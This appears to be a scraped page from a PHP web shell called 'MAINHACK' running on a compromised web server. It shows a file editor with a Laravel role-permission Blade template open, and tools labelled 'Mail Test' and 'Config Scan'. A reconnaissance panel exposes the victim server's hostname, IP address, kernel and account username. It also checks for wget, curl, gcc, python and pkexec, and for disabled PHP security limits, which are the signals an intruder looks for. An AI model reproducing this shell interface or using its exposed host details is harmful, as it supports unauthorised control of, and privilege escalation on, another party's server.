[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
@extends('layouts.master') @section('title') {{__('Roles')}} @endsection @section('main_content') <div class="erp-table-section"> <div class="container-fluid"> <div class="card"> <div class="card-bodys"> <div class="table-header p-16"> <h4>{{__('Edit Role')}}</h4> <small class="text-warning">{{ __('Set role permissions') }}</small> </div> <div class="row justify-content-center mt-2 roles-permissions p-16"> <div class="col-md-12"> <form action="{{ route('admin.roles.update', $role->id) }}" method="post" class="row ajaxform_instant_reload"> @csrf @method('PUT') <div class="col-12 form-group role-input-label"> <label for="name" class="required">{{ __("Role Name") }}</label> <input type="text" name="name" id="name" class="form-control" value="{{ $role->name }}" placeholder="{{ __("Enter role name") }}" required> </div> <div class="col-12"> <h4 class="mt-3 mb-3">{{ __("Role Permissions") }}</h4> <div class="table-responsive"> <table class="table table-hover table-bordered"> <tbody> <tr> <td class="text-nowrap fw-bolder"> {{ __("Setup role permissions") }} </td> <td> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="selectAll"> <label class="custom-control-label fw-bold" for="selectAll">{{ __('Select All') }}</label> </div> </td> </tr> @foreach($groups as $key => $group) <tr> <td class="text-nowrap fw-bolder">{{ $key }}</td> <td> <div class="d-flex"> @foreach($group as $permission) <div class="custom-control custom-checkbox mr-3 me-lg-5"> <input type="checkbox" name="permissions[]" value="{{ $permission->id }}" class="custom-control-input" id="id_{{ $permission->id }}" @checked($role->hasPermissionTo($permission->name))> <label class="custom-control-label" for="id_{{ $permission->id }}"> {{ ucfirst(str($permission->name)->explode('-')->last() == 'list' ? 'All '.str($permission->name)->explode('-')->last() : str($permission->name)->explode('-')->last()) }} </label> </div> @endforeach </div> </td> </tr> @endforeach </tbody> </table> </div> <div class="col-12 text-center mt-2"> <button type="reset" class="btn role-reset-btn"> <i class="fas fa-undo-alt"></i> {{ __("Reset") }} </button> <button type="submit" class="btn btn-warning btn-custom-warning fw-bold me-2 submit-btn"><i class="fas fa-save"></i> {{ __("Save") }}</button> </div> </div> </form> </div> </div> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002